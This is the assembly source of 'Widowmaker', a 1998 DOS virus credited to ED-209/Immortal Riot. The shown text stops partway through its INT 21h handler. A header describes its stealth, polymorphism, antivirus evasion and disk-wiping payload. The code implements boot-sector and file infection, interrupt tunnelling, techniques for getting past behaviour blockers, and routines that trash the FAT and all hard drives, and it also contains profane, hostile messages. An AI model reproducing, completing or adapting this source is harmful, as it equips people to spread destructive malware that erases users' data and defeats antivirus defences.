; ; - Widowmaker V1.02, done by ED-209/Immortal Riot - ; ; Multi-partite full-stealth slow-polymorphic BOOT/COM/EXE-infector. ; ; ; ; ; ; ; ; ; ; "Until now, there was no cure for Windows95..." ; ; "Time has come to pay..." ; ; ; ; ; ; ; ; NETTO SIZE : Approx. 5800 bytes. ; OPERATING SYSTEM : MS-DOS compatible systems. ; PROCESSOR : 8086 and up. ; CODING DATE : July/August-1998. ; ; ; ; Full-stealth (network compatible). ; Highly slow-polymorphic in files. ; Stealths reads/writes to the zerotrack of harddisks. ; Tunneling i13h/i21h with complex opcode-stealther. ; Skips various behaviour-blockers during tracing. ; Payload: random data-corruption. ; Variable encrypting original boot/boot/files. ; Disables stealth during execution CHKDSK & archivers. ; Retro: attacks systems after "removal" or fake calls. ; Fucks TBClean when cleaning. ; Adds parameters to various programs to avoid detection. ; Doesn't infect various AV-programs. ; Infects on findfirst/findnext. ; Uses UMBs while going resident from files. ; And does some other things, just take a look... ; ; ; ; INFECTION: This is a very fast infector, it infects on program execute ; (4B00h), open (3Dh), extended open (6C00h), get/set file ; attributes (43h), delete file (41h), and on handle findfirst/ ; findnext operations (only randomly). The virus will avoid ; infecting Windoze-files, AV-programs, and files which are too ; big/small. ; ; ; STEALTH: The virus uses true re-direction stealth (no SFTs, so we are ; compatible with networks, etc). It intercepts i21h functions ; 11h/12h (findfirst/next FCB), 4Eh/4Fh (findfirst/next handle), ; 3Fh (read), 4202h (lseek to EOF), and 5700h (get filedate and ; time) to stealth infected files. Besides these standard ; stealthing-mechanisms it also cleans infected files before ; allowing any writes to it (i21h/40h), and cleans programs when ; executed by a debugger (i21h/4B01h). Reads and writes to the ; boot are stealthed. Another form of stealth is the fact that ; Widowmaker adds parameters to various (AV-) programs, in most ; cases parameters to skip the memory-scan (so it won't be ; detected if the scanner is updated and scans RAM for us), and ; parameters to skip the "this-program-is-old" message, this is ; done coz else the user could get a upgraded version of the AV- ; scanner which uses different techniques to detect us. ; ; ; TUNNELER: Widowmaker uses an recursive tunneler, in most cases it will ; skip UMBs so we don't have any problems with the INT 13h ; entrypoint anymore, for INT 21h it assumes the DOS datasegment ; is the DOS-segment (AH=52h). The tunneler also has an opcode- ; checker, which will hide & protect the trapflag, the following ; instructions are stealthed: PUSHF/POPF/IRET/INT/INTO/INT3 and ; the following prefixes are recursivly skipped: CS:/DS:/ES:/SS: ; /REPZ/REPNZ/LOCK. The virus also can trace/stealth POP SS ; instructions, so AVPTSR will not detect any tunneling attempts ; made by our virus. Also, it will check that the actual dos- ; segment is found and not AVP. If some AV-program tries to be ; funny by using our segment, so it can use un-stealthed ; instructions, it will have it's ass kicked immediately. ; ; ; PAYLOAD: There is a chance that the sector(s) being read/written by ; i13h are overwritten by a part of the virus (includes text). ; Besides this random data-corruption the virus also has an ; activation-routine which is called when the virus notices that ; it is being spotted. Whenever a disk is infected the virus ; first checks if a random signature is present on a specified ; sector, if so, then the disk was infected before and cleaned ; (thus the virus is spotted). Another "anti-spot" routine is ; the residency-check, it checks if a signature is present in ; the caller, if not then the call is made by a program that ; detects active virii in memory (and disables 'em). When the ; virus notices that it is being spotted it activates the ; payload: it locks the keyboard so no quick resets can be done, ; clears the screen and displays a message, and then overwrites ; most data on all harddisks in the system. The payload is also ; activated when the virus notices that it is being debugged. ; ; ; RETRO: Widowmaker detects when it is executed under TBClean, (or any ; other single-stepper), and if so, it trashes a part of the FAT ; (gee, can you believe how STUPID that TBClean program is?!), ; and corrupts memory with the message " DIE MOTHERFUCKER! ", ; (how original...), this also affects the videomemory, so it ; will scare the hell out of the Winshit users. Please note that ; the trick of executing a interrupt under TBClean was ripped ; from a article of Rhince & Rajaat. ; ; ; POLYMORPH: The polymorphic engine generates pointer-addressing decryptors ; by use of the four pointer-registers (BX/SI/DI/BP) with a ; random 16bit displacement. The code is encrypted with multiple ; algorithms (ADD/SUB/XOR/INC/DEC/NOT/NEG/ROL/ROR). Decryption ; is done wether upwards or downwards. Pointer-registers are ; changed with one of five methods (two directions, that gives ; us 10 different variations). The engine can produce quite ; complex garbage instructions: it supports non-zerodisplacement ; (un)-conditional JMPs, PUSHes/POPs, with garbage between 'em, ; CALLs to garbage sub-routines, dummy (sub)functions of various ; interrupts, calls to dummy interrupts, overlapping code (to ; confuse debuggers and/or disassemblers and it also generates ; most standard instructions used in programs. Plus a table with ; less-used instructions, to prevent MtE-alike detection. Most ; infected files are undetectable by heuristics, depending of ; the amount of INTs. Too make the life of AV-pussies even more ; harder it uses slow-polymorph, it will only generate a poly- ; decryptor when it becomes resident for the first time. Each ; file infected next, is carrying the same decryptor. Besides ; the external poly-layer, the virus also has a 2nd XOR-cryption ; layer (slow-variable key), with an anti-emulation routine, so ; there will be no flags triggered from the viruscode itself. ; ; ; DETECTION: This virus is not detectable by any of the scanners below, ; that is, by signature-scanning (including generic decryption). ; It also doesn't scan as MtE, TPE, etc, encrypted. It operates ; unnoticed by AVPTSR & TBAV. It takes TBScan quite some time to ; emulate his way tru the decryptors. ; ; ; - NOD 7.24 : Wow! a decent scanner! It ; detects infected files.... ; Hrrmm..... Shit! Still, NOD ; can be defeated by using ; anti-heuristics similair to ; the ones of used for TBScan. ; ; - AVP 3.00 : No trigger. ; ; ; ; - TBScan 8.07 : No trigger in high heuristic ; in most cases, depending on ; the decryptor. As usual, the ; lousy heuristic analyzer is ; sometimes detecting things ; which aren't present at all. ; ; ; ; - TBClean 8.07 : Unable to clean, infact it ; activates the anti-debugging ; payload (bye bye harddisk!). ; ; ; ; ; This virus isn't exactly what I got in mind when I started ; with the whole project, there are quite a few things which ; couldn't be implemented. The reason for this is the slowly ; death of DOS, I simply refuse spending like 4 months to create ; a 'perfect' virus (no bugs, small, advanched, etc), which will ; never make it into the wild. The virus is mostly optimized ; with simple optimizations. I'm not 100% satisfied with the ; tunneler, it was the last thing I coded for this virus, and ; I didn't felt like making it 'perfect'. I haven't discovered ; any bugs in the tunneler, but I also haven't tested it that ; well. One thing that drove me crazy was this one part in the ; tunneler, where it compares the instruction-segment with the ; DOS-segment, the trapflag isn't turned off, though the correct ; DOS entrypoint-address is found. ; ; ; GREETS: Buz-, DrDope, Gulgi, Metal Militia, nUcLeii, Priest, r-, ; Rajaat, _ssr, T-2000, Targor, The Unforgiven, _URGO32, [VEiN], ; VirusBust, and Virus-X. ; ; ; !! WARNING !! WARNING !! WARNING !! WARNING !! WARNING !! WARNING !! ; ; I strongly suggest that you do NOT try out this virus! ; It is HIGHLY destructive! ; If you infect a diskette/harddisk for the second time, the virus ; will activate, and trash ALL drives in your system! ; ; If the world fucks me, I'll fuck it back... ; ; ; This baby is named after the illegal fireworks "Widowmakers" (and believe ; me, that name doesn't lie!). They procuce an ENORMOUS boom, and will blow ; your hands off in no-time! ; ; ; ; ; Special message goes out to the law: FUCK YOU! You will never bring me ; down! Stealin' our money, rippin' our freedom, I DON'T WANT YOU! I never ; asked for a master! ; ; ; For those about to die, we salute you... ; ; ;===========================[ W1D0WM4K3R.4SM ]=============================== .MODEL TINY .STACK Work_Stack .CODE JUMPS ; I'm too lazy to fix this, sorry... Work_Stack EQU 8000 Yes_dont_hurt_me = 0 ; Damage-routines disabled. No_way_lets_kick_ass = 1 ; Damage-routines enabled. Pussy_Mode = Yes_dont_hurt_me Virus_Size EQU (Virus_End - $) Netto_Size EQU (Virus_Size + Max_Decryptor) Virus_Size_Mem EQU ((Netto_Size * 2) + 256 + Work_Stack + 15) / 16 Virus_Size_kB EQU ((Virus_Size_Mem * 16) + 1023) / 1024 Body_Sectors EQU ((Virus_Size - 512) + 511) / 512 Mark_Boot EQU 0FACEh Encr_Loadersize EQU (510 - (Encrypted_Boot - $)) Res_Check_i13h EQU 0EFF9h Res_Check_i21h EQU 0EB79h Marker_i13h EQU 7622h Marker_i21h EQU 1A63h Marker_File EQU 0F2B1h Marker_Call_OK EQU 4D37h Mark_ID_Sector EQU 0DEADh Century EQU 100 SHL 1 ; Hundred years in datetime-format. Infected_Date EQU (2080 - 1980) SHL 1 ; 2080. ; Ripped from Mirror virus. dwb macro wval, bval dw wval db bval endm Virus_Begin: ; === BOOT === JMP Virus_Entry NOP ; === Original header of our host === Host_Bytes DW 'ZM' ; We are an .EXE-type. DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW OFFSET Carrier DW 0 Hook_Counter DB 0 i01h DW 0, 0 Trace_Mode DW 0 i13h DW 0, 0 Traced_i13h DW 0, 0 i21h DW 0, 0 Traced_i21h DW 0, 0 ORG 62 Virus_Entry: MOV BX, 7C00h + OFFSET Encrypted_Boot MOV CX, Encr_Loadersize Decr_Boot: XOR BYTE PTR CS:[BX], 00h ; Decrypt boot. Key_Virus_Boot = BYTE PTR $-1 INC BX LOOP Decr_Boot JMP Encrypted_Boot ; *** DATA-TABLE *** Stored_TS DW 0 Stored_HD DW 0 Sign_Boot DW Mark_Boot Key_Stored_Boot DW 0 ; *** ENCRYPTED IN BOOT *** Encrypted_Boot: MOV SI, 7C00h XOR DI, DI CLI ; Set stack. MOV SS, DI MOV SP, SI STI MOV DS, DI MOV DS:[7C00h + Hook_Counter], 2 INT 12h ; Reserve needed DOS-memory. MOV BP, AX SUB AX, Virus_Size_kB MOV DS:[413h], AX MOV CL, 6 ; Calculate our new segment. SHL AX, CL MOV ES, AX MOV CX, 512 ; Copy bootsector to our PUSH CX ; segment. CLD REP MOVSB MOV AX, OFFSET Reloc_Boot PUSH ES ; Pass control to resident PUSH AX ; copy. RETF Copyright DB 'Widowmaker by [ED-209/Immortal Riot]', 0 Reloc_Boot: MOV AX, 0200h+Body_Sectors ; Read encrypted virusbody POP BX ; into our segment. BX=512 MOV CX, CS:Stored_TS INC CX MOV DX, CS:Stored_HD INT 13h ; Fuck! I *HATE* using INT's ; in my virii! No room for ; tunneler, sorry... ; === Decrypt encrypted virusbody === MOV AX, 0000h Key_Virus_Body = WORD PTR $-2 MOV CX, (Body_Sectors * 512) / 2 Decr_Body: XOR CS:[BX], AX INC BX INC BX LOOP Decr_Body MOV CS:JMP_Databyte, CL MOV CS:Old_Dos_Mem, BP MOV AX, 13h * 4 CALL Trace_Interrupt CLI MOV DS:[13h * 4], OFFSET NewInt13h MOV DS:[13h * 4 + 2], CS MOV DS:[21h * 4], CX MOV DS:[21h * 4 + 2], CX MOV CS:i21h, CX ; Save INT 21h. MOV CS:i21h+2, CX STI CALL Read_MBS ; Infect MBS. INT 19h ; Reboot with stealth. Version_Number DB '[V1.02]' Check_Int21h: CALL Push_All CWD ; DS=0000h. MOV DS, DX PUSH CS POP ES MOV SI, 21h * 4 MOV DI, OFFSET i21h CLD CMPSW ; INT 21h changed? JNE Hook_i21h CMPSW ; INT 21h changed? JE Exit_Chk_i21h Hook_i21h: MOV AX, DS:[21h * 4 + 2] OR AX, AX ; Not set yet? JZ Exit_Chk_i21h CMP AX, 800h ; Too high? JA Exit_Chk_i21h CMP AX, DS:[20h * 4 + 2] ; Same as INT 20h ? JNE Exit_Chk_i21h CMP AX, DS:[27h * 4 + 2] ; Same as INT 27h ? JNE Exit_Chk_i21h MOV SI, CS CMP AX, SI ; Our own CS ? then not DOS. JE Exit_Chk_i21h LDS SI, DS:[21h * 4] CMP DS:[SI], 9090h ; DOS-kernal? JNE Exit_Chk_i21h DEC CS:Hook_Counter ; Give system some time to JNZ Exit_Chk_i21h ; stabilize the hook. MOV DS, DX ; DS=0000h. ; Restore amount of DOS-memory after MCBs are created. MOV WORD PTR DS:[413h], 0000h Old_Dos_Mem = WORD PTR $-2 CALL Hook_Int21h Exit_Chk_i21h: CALL Pop_All RETN ;----------------------------- ; Tunnels INT 13h or INT 21h. ; ; ; AX = offset INT in IVT. ;----------------------------- Trace_Interrupt: CALL Push_All MOV CS:Trace_Mode, AX CWD ; DS=0000h. MOV DS, DX PUSH CS POP ES MOV SI, 01h * 4 ; Save address INT 01h. MOV DI, OFFSET i01h CLD MOVSW MOVSW PUSH AX CMP AX, 13h * 4 ; Can we use DOS-functions? JNE Trace_With_Dos MOV WORD PTR DS:[SI-4], OFFSET NewInt01h MOV WORD PTR DS:[SI-2], CS JMP Set_TF Trace_With_Dos: PUSH CS POP DS MOV AX, 2501h ; Hook INT 01h. MOV DX, OFFSET NewInt01h INT 21h MOV AH, 52h ; Get list of lists. INT 21h ; ** UNDOCUMENTED ** MOV DOS_Segment, ES Set_TF: PUSHF ; Set trapflag. POP AX OR AH, 00000001b PUSH AX POPF POP SI ; Offset in IVT. PUSH SI XOR AX, AX ; DS=0000h. MOV DS, AX PUSH CS ; ES=CS. POP ES CMP SI, 13h * 4 JNE Trace_Int21h MOV DI, OFFSET i13h CLD MOVSW MOVSW POP SI CLD MOVSW MOVSW XOR AH, AH ; Trace reset disk. CALL Int13h JMP Exit_Trace_Int Trace_Int21h: MOV DI, OFFSET i21h CLD MOVSW MOVSW POP SI MOVSW MOVSW MOV AH, 19h CALL Int21h Exit_Trace_Int: PUSHF ; Play save and clear TF. POP AX AND AH, NOT 00000001b PUSH AX POPF PUSH DS ; ES=0000h. POP ES PUSH CS POP DS CMP Trace_Mode, 13h * 4 JNE Restore_i01h_DOS MOV SI, OFFSET i01h MOV DI, 01h * 4 CLD MOVSW MOVSW JMP Exit_Tracer Restore_i01h_DOS: MOV AX, 2501h LDS DX, DWORD PTR i01h CALL Traced_Int21h Exit_Tracer: CALL Pop_All RETN Read_MBS: MOV AX, 0201h ; Read MBS of 1st harddisk MOV BX, OFFSET Buffer ; via INT 13h so the virus INC CX ; will infect it, (CX=0001h). MOV DX, 0080h INT 13h RETN Virus_Name DB '[W1D0WM4K3R]' ORG 510 DW 0AA55h ; Valid bootsector-marker. Push_All: POP CS:Return_Address ; POP return-address. PUSHF PUSH AX PUSH BX PUSH CX PUSH DX PUSH BP PUSH SI PUSH DI PUSH DS PUSH ES JMP CS:Return_Address Pop_All: POP CS:Return_Address POP ES POP DS POP DI POP SI POP BP POP DX POP CX POP BX POP AX POPF JMP CS:Return_Address ;------------------------------- ; AX = Cryption-key. ; CX = Words to crypt. ; ES:BX = Buffer to crypt. ;------------------------------- Word_Crypt: PUSH BX Crypt_Word: XOR ES:[BX], AX INC BX INC BX LOOP Crypt_Word POP BX RETN ; AL = INT. ; AX:BP = address INT. Get_Int: PUSH DX PUSH DS PUSH ES XOR AH, AH SHL AX, 2 XCHG BP, AX XOR AX, AX ; DS=0000h. MOV DS, AX LDS DX, DWORD PTR DS:[BP] MOV BP, DX MOV AX, DS POP ES POP DS POP DX RETN Strip_Prefixes: PUSH CX PUSH SI PUSH CS POP ES CLD Skip_Prefix: LODSB ; AX = next instruction(s). MOV CX, (End_Prefixes - Prefixes) MOV DI, OFFSET Prefixes REPNE SCASB ; Prefix? JE Skip_Prefix ; Then skip it, & loop again. MOV BX, SI POP SI POP CX RETN ;============================================================================ ; INT 01h HANDLER ;============================================================================ NewInt01h: MOV CS:Tracer_DS, DS PUSH CS POP DS MOV Tracer_AX, AX MOV Tracer_BX, BX MOV Tracer_CX, CX MOV Tracer_DX, DX MOV Tracer_BP, BP MOV Tracer_SI, SI MOV Tracer_DI, DI MOV Tracer_ES, ES POP SI ; IP POP DS ; CS POP CX ; Flags CLD CALL Skip_Blockers ; Prevent stack-checks. JC Exit_Int01h MOV AX, DS CMP CS:Trace_Mode, 13h * 4 ; Tracing INT 13h ? JNE Tracing_i21h CMP AX, 0C800h ; Below BIOS ? JB Stealth_Opcode CMP AX, 0F000h ; Above BIOS ? JA Stealth_Opcode ; This also skips most UMBs. MOV CS:Traced_i13h, SI MOV CS:Traced_i13h+2, AX JMP Kill_TF Tracing_i21h: CMP AX, 0000h DOS_Segment = WORD PTR $-2 JNE Stealth_Opcode CMP DS:[SI], 9090h JNE Stealth_Opcode MOV CS:Traced_i21h, SI MOV CS:Traced_i21h+2, AX Kill_TF: AND CH, NOT 00000001b JMP Exit_Int01h Stealth_Opcode: MOV BP, CS CMP BP, AX ; Skip our CS, so our own JNE Get_Opcode ; instructions won't be ; stealthed. CMP SI, OFFSET Virus_End ; Piggybacker? JB Exit_Int01h JMP Retaliate ; Then fuck him! Get_Opcode: CALL Strip_Prefixes CMP AL, 17h ; POP SS ? JNE Check_PUSHF MOV BP, SS POP DX CMP DX, BP ; Dummy SS-modification ? JNE Restore_Stack MOV SI, BX ; Skip POP SS. JMP Get_Opcode Restore_Stack: PUSH DX Check_PUSHF: CMP AL, 9Ch ; PUSHF ? JNE Check_POPF MOV SI, BX ; Skip PUSHF AND CH, NOT 00000001b ; Clear TF. PUSH CX ; PUSH flags. OR CH, 00000001b ; Set TF back. Check_POPF: CMP AL, 9Dh ; POPF ? JNE Check_IRET POP CX ; POP flags to CX. OR CH, 00000001b ; Set TF. MOV SI, BX ; Skip POPF Check_IRET: CMP AL, 0CFh ; IRET ? JNE Chk_Breakpoint POP SI POP DS POP CX OR CH, 00000001b ; Set TF. CMP AL, 0CEh ; INTO ? JNE Chk_Breakpoint TEST CH, 00001000b ; Overflow flag set? JZ Exit_Int01h MOV AX, BX JMP Simulate_INT Chk_Breakpoint: CMP AL, 0CCh ; INT 3 (breakpoint) ? JNE Check_INT MOV AX, BX ; AX = return-address. JMP Simulate_INT Check_INT: CMP AL, 0CDh ; INT ##? JNE Exit_Int01h LEA AX, [BX+1] ; Return-address INT. Simulate_INT: AND CH, NOT 00000001b ; Clear TF. PUSH CX ; Flags PUSH DS ; CS PUSH AX ; AX OR CH, 00000001b ; Set TF. MOV AL, 03h CMP BYTE PTR DS:[BX-1], 0CCh ; Breakpoint? JE Get_Int_Addr MOV AL, DS:[BX] ; AL = INT #. Get_Int_Addr: CALL Get_Int MOV SI, BP MOV DS, AX JMP Exit_Int01h Exit_Int01h: PUSH CX ; Flags PUSH DS ; CS PUSH SI ; IP MOV AX, 0000h Tracer_DS = WORD PTR $-2 MOV DS, AX MOV AX, 0000h Tracer_ES = WORD PTR $-2 MOV ES, AX MOV AX, 0000h Tracer_AX = WORD PTR $-2 MOV BX, 0000h Tracer_BX = WORD PTR $-2 MOV CX, 0000h Tracer_CX = WORD PTR $-2 MOV DX, 0000h Tracer_DX = WORD PTR $-2 MOV BP, 0000h Tracer_BP = WORD PTR $-2 MOV SI, 0000h Tracer_SI = WORD PTR $-2 MOV DI, 0000h Tracer_DI = WORD PTR $-2 IRET ;----------------------------------------------------------------------- ; Skips behaviour-blockers in memory without patching any code. ; ; I tested these routines with a TBDRIVER/TBDISK version from '92 and a ; version of 1998, so I suppose it will work with all versions within. ; ; Skips TBDRIVER & TBDISK. ;----------------------------------------------------------------------- Skip_Blockers: ; === Check for TBDRIVER === CMP DS:[SI], 05EBh ; JMP SHORT ? JNE No_TBDriver CMP BYTE PTR DS:[SI+2], 0EAh ; JMP FAR chain ? JNE No_TBDriver CMP DS:[SI+7], 9CFAh ; CLI & PUSHF ? JNE No_TBDriver INC SI ; Skip JMP over chain. INC SI STC RETN ; === Check for TBDISK === No_TBDriver: CMP DS:[SI], 1D75h ; JNZ exit. JNE No_TBDisk CMP DS:[SI-2], 0100h JNE No_TBDisk CMP DS:[SI-4], 1606h JNE No_TBDisk CMP DS:[SI-6], 0F62Eh JNE No_TBDisk CMP DS:[SI-8], 0FC9Ch JNE No_TBDisk AND CL, NOT 01000000b ; Clear ZF. STC RETN No_TBDisk: CLC RETN Prefixes DB 02Eh ; CS: DB 03Eh ; DS: DB 026h ; ES: DB 036h ; SS: DB 0F3h ; REPZ DB 0F2h ; REPNZ DB 0F0h ; LOCK End_Prefixes: Start_File: CLI ; Detect tracers such as PUSH AX ; debuggers, TBClean, etc. MOV BP, SP POP AX CMP [BP], AX STI JE No_Tracer Retaliate: MOV AX, 0320h ; Trash critical area of HD. MOV CX, 02h MOV DX, 0180h PUSH SS ; Trix sum fewlz. POP SS DB 2Eh ; CS: (anti-TBClean). IF Pussy_Mode EQ No_way_lets_kick_ass INT 13h ENDIF ; Fuck TBClean code. CLD XOR BX, BX Trash_Mem: MOV ES, BX MOV AH, 0CFh MOV CX, (Trash_Mem_Msg_End - Trash_Mem_Msg) MOV SI, OFFSET Trash_Mem_Msg XOR DI, DI Dump_Character: LODSB STOSW LOOP Dump_Character SUB BX, 3 JMP Trash_Mem Trash_Mem_Msg DB ' DIE MOTHERFUCKER! ' Trash_Mem_Msg_End: No_Tracer: MOV AX, Res_Check_i21h ; INT 21h residency-check. INT 21h CMP AX, Marker_i21h ; Already hooked INT 21h ? JE Run_Host MOV AX, Res_Check_i13h ; INT 13h residency-check. INT 13h CMP AX, Marker_i13h ; Already hooked INT 13h ? JE Run_Host MOV AX, 5802h ; Get UMB link state. INT 21h XOR AH, AH ; Save state on stack. PUSH AX MOV AX, 5803h ; Link UMBs to memory-chain. MOV BX, 0001h INT 21h XOR DI, DI MOV AH, 62h INT 21h XCHG BX, AX DEC AX Find_Last_MCB: MOV DS, AX CMP BYTE PTR DS:[DI], 'Z' ; Last block in chain? JE Last_MCB_Found INC AX ; MCB-header. ADD AX, DS:[DI+3] ; Size in block. JMP Find_Last_MCB Last_MCB_Found: XCHG CX, AX MOV AX, DS:[DI+3] SUB AX, Virus_Size_Mem JC Run_Host MOV DS:[DI+3], AX INC AX ADD AX, CX MOV ES, AX MOV AX, 5803h ; Restore UMB link state. POP BX INT 21h PUSH CS POP DS MOV CX, Virus_Size ; Copy us to our segment. CLD REP MOVSB MOV AX, OFFSET Reloc_File PUSH ES ; Pass control to resident PUSH AX ; viruscopy. RETF DB 0EAh ; Some overlapping code. Reloc_File: PUSH CS POP DS CALL Hook_Int21h MOV AX, 13h * 4 ; Find entrypoint of INT 13h. CALL Trace_Interrupt MOV AX, 2513h ; Hook INT 13h. MOV DX, OFFSET NewInt13h CALL Traced_Int21h CALL Read_MBS XOR SI, SI ; Zero displacement. Run_Host: POP ES ; Restore most registers. POP DS POP DI POP BP POP DX POP CX POP BX POP AX ADD SI, (OFFSET Host_Bytes - Virus_Begin) IN AL, 21h ; Reverse state keyboard. XOR AL, 00000010b OUT 21h, AL CMP CS:[SI.EXE_Mark], 'ZM' ; Our host is a .EXE-file? JE Run_Host_EXE Run_Host_COM: PUSH CS POP DS MOV DI, 100h ; Restore bytes of .COM-host. PUSH ES PUSH DI MOV CX, (24 / 2) CLD REP MOVSW XOR AX, AX XOR SI, SI XOR DI, DI PUSH ES POP DS RETF DB 0EAh ; Some overlapping stuph. Run_Host_EXE: MOV AX, DS ADD AX, 10h ADD CS:[SI.Program_CS], AX ADD AX, CS:[SI.Program_SS] CLI ; Restore host' stack. MOV SS, AX MOV SP, CS:[SI.Program_SP] STI XOR AX, AX ; Pass control to host. JMP DWORD PTR CS:[SI.Program_IP] ; Dedicated to the dungeon keeper of #virus, ; I told you I would do it you lame fuck! Hahahaha! DB 'Marc sucks!' Stealth_Read: CALL Push_All MOV CS:Read_Bytes, CX MOV CS:Read_Buffer, DX CALL Save_File_Pos CALL Check_Stealth JE JMP_Abort_Read CALL Check_File_Date JNB Check_Read JMP_Abort_Read: JMP Abort_Stealth_Read Check_Read: CALL Save_File_Pos ADD AX, 00h Read_Bytes = WORD PTR $-2 ADC DX, CX MOV DI, DX ; DI:SI = pos after read. XCHG SI, AX CALL Go_EOF SUB AX, Netto_Size ; DX:AX = length host. SBB DX, CX CMP DI, DX JB Skip_Stealth_Read JA Do_Stealth_Read CMP SI, AX JA Do_Stealth_Read Skip_Stealth_Read: MOV AX, CS:Read_Bytes JMP Stealthed_Read Do_Stealth_Read: SUB AX, CS:Old_Pos_Low Stealthed_Read: PUSH AX CALL Restore_File_Pos MOV DI, DX ; DI:SI = oldpos. XCHG SI, AX MOV AH, 3Fh ; Do stealthed read. POP CX MOV DX, 00h Read_Buffer = WORD PTR $-2 CALL Int21h MOV BP, SP PUSHF POP [BP.Reg_Flags] MOV [BP.Reg_AX], AX MOV [BP.Reg_DX], DX CALL Save_File_Pos OR DI, DI ; Reading from 1st 64k ? JNZ Exit_Stealth_Read CMP SI, 24 ; Reading header? JNB Exit_Stealth_Read CALL Go_EOF SUB AX, (Netto_Size - 3) SBB DX, CX ADD AX, SI ; Plus offset in header. ADC DX, CX MOV CX, DX ; Seek to position stored XCHG DX, AX ; header. MOV AX, 4200h CALL Traced_Int21h MOV AH, 3Fh ; Read original header in MOV CX, 24 ; caller's buffer. SUB CX, SI MOV DX, CS:Read_Buffer ADD DX, SI CALL Traced_Int21h CALL Restore_File_Pos Exit_Stealth_Read: CALL Pop_All RETF 2 Abort_Stealth_Read: CALL Restore_File_Pos CALL Pop_All JMP JMP_Int21h Stealth_Seek: CALL Push_All CALL Check_Stealth JE Exit_Stealth_Seek CALL Check_File_Date JB Exit_Stealth_Seek CALL Go_EOF SUB AX, Netto_Size ; DX:AX = length of our host. SBB DX, CX MOV CX, DX ; Seek to end of our host. XCHG DX, AX MOV AX, 4200h CALL Traced_Int21h MOV BP, SP PUSHF ; Store flags. POP [BP.Reg_Flags] MOV [BP.Reg_AX], AX ; Store results. MOV [BP.Reg_DX], DX CALL Pop_All RETF 2 Exit_Stealth_Seek: CALL Pop_All JMP JMP_Int21h Clean_Handle: CALL Push_All CALL Hook_Int24h CALL Check_Handle JNZ Exit_Clean_Handle CALL Check_File_Date JB Exit_Clean_Handle PUSH CX PUSH DX CALL Save_File_Pos CALL Go_EOF SUB AX, (Netto_Size - 3) SBB DX, CX MOV CX, DX ; Go to position of XCHG DX, AX ; stored header. MOV AX, 4200h PUSH AX CALL Traced_Int21h CALL Read_Header CALL Go_EOF SUB AX, Netto_Size ; DX:AX = size of our host. SBB DX, CX MOV CX, DX ; Go to end of our host. XCHG DX, AX POP AX ; AX=4200h. CALL Traced_Int21h MOV AH, 40h ; Write marker, XOR CX, CX ; (cut-off virusbody). CALL Traced_Int21h CALL Go_BOF MOV AH, 40h ; Write original header back. MOV CX, 24 MOV DX, SI CALL Traced_Int21h MOV AX, 5701h POP DX POP CX SUB DH, Century CALL Traced_Int21h CALL Restore_File_Pos Exit_Clean_Handle: CALL Unhook_Int24h CALL Pop_All RETN Clean_By_File: CALL Push_All MOV AX, 3D02h ; Open file read/write. CALL Traced_Int21h JC XIt_Clean_File XCHG BX, AX ; BX = filehandle. CALL Clean_Handle ; Clean file. MOV AH, 3Eh ; Close file. CALL Traced_Int21h XIt_Clean_File: CALL Pop_All JMP JMP_Int21h Clean_By_Handle: CALL Clean_Handle JMP JMP_Int21h Stealth_Filedate: CALL Int21h ; Get filedate & time. PUSHF JC Exit_Stealth_Date ; Exit when error. CMP DH, Infected_Date ; Infected date? JB Exit_Stealth_Date SUB DH, Century ; If so, restore original. Exit_Stealth_Date: POPF RETF 2 ; Return to caller. Check_File_Date: MOV AX, 5700h CALL Traced_Int21h CMP DH, Infected_Date ; Infected datestamp? RETN Read_Header: MOV SI, OFFSET Header MOV AH, 3Fh MOV CX, 26 MOV DX, SI CALL Traced_Int21h RETN Check_Handle: MOV AX, 4400h ; Get IOCTL-info. CALL Traced_Int21h TEST DL, 10000000b ; Only filehandles. RETN Promise DB '3Y3 W1LL D3$TR0Y D1Z W0RLD' Ret_Mark_i21h: CMP DS:[SI.Sign_Legal_Call], Marker_Call_OK JNE Activate MOV AX, Marker_i21h IRET ; Displays a message & trashes all drives. Activate: IN AL, 21h ; Rip their keyboard. OR AL, 00000010b OUT 21h, AL PUSH CS POP DS PUSH CS POP ES MOV AX, 03h ; Clear screen. INT 10h MOV SI, OFFSET Payload_Msg ; Display payload-message. CALL Display_Msg XOR BX, BX MOV CX, 02h MOV DX, 0180h Trash_Loop: XOR AH, AH ; Reset disk. CALL Traced_Int13h MOV AX, 0320h ; Trash 32 sectors starting IF Pussy_Mode EQ No_way_lets_kick_ass CALL Traced_Int13h ; at sector 2. ENDIF ADD CH, DH ; Next track. ADC DL, BL ; Next drive. JMP Trash_Loop Payload_Msg DB 0Ah, 0Dh, 0Ah, 0Dh DB '*** W1D0WM4K3R V1RUS ***' DB 0Ah, 0Dh, 0Ah, 0Dh DB 'I''m the Widowmaker, making yet another widow!' DB 0Ah, 0Dh DB 'MUHAHAHAHA! DIE YOU FUCK!!!' DB 0Ah, 0Dh DB 0Ah, 0Dh, 00h ; DS:SI=msg. Display_Msg: MOV AH, 0Eh XOR BX, BX Display_Char: CLD LODSB ; Get next character. OR AL, AL ; End of ASCIIZ ? JZ Exit_Display INT 10h ; Display character. JMP Display_Char Exit_Display: RETN ; Calls the INT 13h address before we hooked it. Int13h: PUSHF CALL DWORD PTR CS:i13h RETN ; Calls the INT 21h address before we hooked it. Int21h: PUSHF CALL DWORD PTR CS:i21h RETN Traced_Int13h: PUSHF CALL DWORD PTR CS:Traced_i13h RETN Go_BOF: MOV AX, 4200h JMP Set_Pos Go_EOF: MOV AX, 4202h Set_Pos: XOR CX, CX CWD Traced_Int21h: PUSHF CALL DWORD PTR CS:Traced_i21h RETN Save_File_Pos: MOV AX, 4201h ; Get current fileposition. XOR CX, CX CWD CALL Traced_Int21h MOV CS:Old_Pos_Low, AX ; Save it. MOV CS:Old_Pos_High, DX RETN Restore_File_Pos: MOV AX, 4200h ; Set fileposition. MOV CX, 0000h Old_Pos_High = WORD PTR $-2 MOV DX, 0000h Old_Pos_Low = WORD PTR $-2 JMP Traced_Int21h JMP_St_FCB: JMP Stealth_Size_FCB ; As quoted from Morbid Angel... DB 'DEAD, YOUR GOD IS DEAD! SATAN WILL RISE!' ;============================================================================ ; INT 21h HANDLER ;============================================================================ NewInt21h: CMP AH, 11h ; Findfirst (FCB). JE JMP_St_FCB CMP AH, 12h ; Findnext (FCB). JE JMP_St_FCB CMP AH, 4Eh ; Findfirst (handle). JE Dir_Fetch_Path CMP AH, 4Fh ; Findnext (handle). JE Dir_Infect CMP AH, 3Fh ; Read file (handle). JE Stealth_Read CMP AH, 40h ; Write file (handle). JE 